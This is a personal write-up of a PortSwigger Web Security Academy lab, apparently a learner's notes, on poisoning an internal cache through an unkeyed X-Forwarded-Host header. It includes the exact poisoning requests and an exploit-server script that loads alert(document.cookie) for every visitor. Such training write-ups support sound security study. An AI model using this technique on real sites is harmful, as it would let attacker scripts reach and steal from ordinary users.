Skip to content
Field Detail
Platform PortSwigger Web Security Academy
Type Web Cache Poisoning — Internal Cache Poisoning via Unkeyed Header
Difficulty Expert
Objective Poison the internal cache so that the home page executes alert(document.cookie) in the victim's browser
Note A user regularly visits the home page using Chrome; the site uses multiple layers of caching

Web Cache Poisoning with Multiple Layers of Caching

Intercepting GET /:

Screenshot

The response body included a canonical link and a familiar JSONP-style script import:

<link rel="canonical" href='//0ab30057035b394080e630e800f6001c.web-security-academy.net/'/>
<script src=//0ab30057035b394080e630e800f6001c.web-security-academy.net/js/geolocate.js?callback=loadCountry></script>

Testing with a query param confirmed the canonical link reflects it. Checking /js/geolocate.js?callback=loadCountry:

Screenshot
loadCountry({"country":"United Kingdom"});

Same JSONP callback pattern as previous labs — callback controls what function gets invoked with the geo data.

Running Param Miner on / and /js/geolocate.js:

Screenshot

X-Forwarded-Host came up as an unlinked parameter. Testing it:

GET /?teto=1 HTTP/2
X-Forwarded-Host: teto.com
Screenshot
<link rel="canonical" href='//teto.com/?teto=1'/>

X-Forwarded-Host controls the host in the canonical link — and since the script import uses the same host, it also shifts the geolocate.js source. But removing the header immediately reverted the response to normal. That's the important signal: the external/front-end cache isn't storing the poisoned version. With multiple cache layers, the external cache only serves what it already has stored, while the internal cache actually assembles the page from smaller cached components — and it's the internal cache that needs to absorb the poisoning through repeated requests.

I set up the exploit server to serve the payload at the expected path:

file: /js/geolocate.js
body: alert(document.cookie)
Screenshot

Then sent the poisoning request repeatedly:

GET / HTTP/2
X-Forwarded-Host: exploit-0af700b70362390180802fc30109001e.exploit-server.net
Screenshot

Each request was forwarded to the backend, which constructed the page with the exploit server as the host. The practical signal that the internal cache had absorbed the poisoning was a change in match count — the number of times our exploit server domain appeared in the response body increased from 3 to 4, indicating the internal cache had updated its component:

Screenshot
Screenshot

Once that happened, the home page loaded geolocate.js from the exploit server and fired alert(document.cookie) for any visitor — without needing the header on every request.

Screenshot

Lab solved... Section Finished.. Maybe I'll revisit this section again in a time.

Resources